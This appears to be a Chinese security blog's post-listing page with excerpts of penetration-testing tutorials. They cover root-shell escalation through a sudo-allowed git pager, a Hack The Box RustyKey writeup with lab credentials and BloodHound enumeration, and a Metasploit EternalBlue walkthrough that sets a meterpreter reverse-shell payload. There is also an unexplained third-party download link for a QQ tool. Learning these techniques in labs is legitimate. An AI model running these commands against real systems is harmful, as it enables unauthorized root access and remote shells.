对博客的后续维护
因为之前是使用WP搭建的博客系统，太臃肿加上后台不是很好用，服务器配置低，导致非常卡，卡到怀疑人生。虽然优化了很多次，但是wp的代码量在哪，所以索性直接搬家。采用静态部署，后续自己写的md文件也能直接上传后续更新频率相对来说会勤一点，但是看情况和心情吧
Git提权的两种方法
前提条件 用户需要有通过 sudo 执行 git 命令的权限。 通过 sudo -l 查看权限时，发现 git 命令在允许列表中（无需密码或可提权）。 Git提权方法方法一：利用 git help 命令 检查 sudo 权限 1sudo -l 输出中应包含类似以下内容： 12User tom may run the following commands on DC-2 as root: (root) NOPASSWD: /usr/bin/git 触发提权执行以下命令，进入 git 的帮助文档界面： 1sudo git help config 进入交互模式执行命令 按 Shift + : 进入 命令模式（类似 vi 的命令行）。 输入以下命令之一，即可获得 root 权限的 shell： 12!/bin/bash # 直接启动 root shell!'sh' # 启动 root 的 sh shell 退出帮助界面如果命令未立即生效，按 q 退出帮助界面，再执行以下命令： 1sudo git -p help ...
一键找回QQ空间的所有动态
能看到很多一起东西，希望别勾起你们的回忆 1下载地址:https://wwvs.lanzoue.com/iQD962exqsed
HTB-Rustykey-WP
HTB-Rustykey条件：rr.parker / 8#t5HE8L!W3A 扫描靶机 1nmap -A -v -T4 10.10.11.75 得到了rustykey.htb域名，写到hosts里面，使用ldap协议获得UPN信息（userPrincipalName） 将ldap里面的Users表单导出做成用户表，然后使用bh导出内网环境 1bloodhound-python -u rr.parker -p '8#t5HE8L!W3A' -d rustykey.htb -ns 10.10.11.75 -c All --zip 可以看到HELPDESK组对T-COMPUTER3.RUSTYKEY.HTB主机有Addself作用 说明这个主机可以添加到这个组里面 然后查看一下HELPDESK组，可以修改这4个用户的密码，分别是 1234BB.MORGANGG.ANDERSONDD.ALIEE.REED 除了可以修改这四个用户的密码，还对PROTECTED OBJECTS这个组有AddMember的属性 然后继续分析其他的关系，在H...
MSF获取Windows的shell后
扫描器的使用use auxiliary/scanner/smb/smb_ms17_010 攻击模块的使用下一步操作：发起攻击 (Exploit) 既然扫描器已经告诉你目标是“易受攻击”的，你现在的动作应该是从 辅助模块（Scanner） 切换到 攻击模块（Exploit）。 请按照以下顺序输入命令： 切换模块： Bash 1use exploit/windows/smb/ms17_010_eternalblue 设置目标 IP： Bash 1set RHOSTS 192.168.20.135 设置攻击载荷（通常默认就是这个，但建议检查一下）： Bash 1set PAYLOAD windows/x64/meterpreter/reverse_tcp 设置你自己的 IP（Kali 的 IP，用于接收反弹回来的 Shell）： Bash 12# 先在另一个终端用 ip addr 确认你的网卡 IPset LHOST [你的Kali的IP] 开火攻击： Bash 1exploit 进入Windows之后的操作 1. 基础环境与权限感知在任何操作...
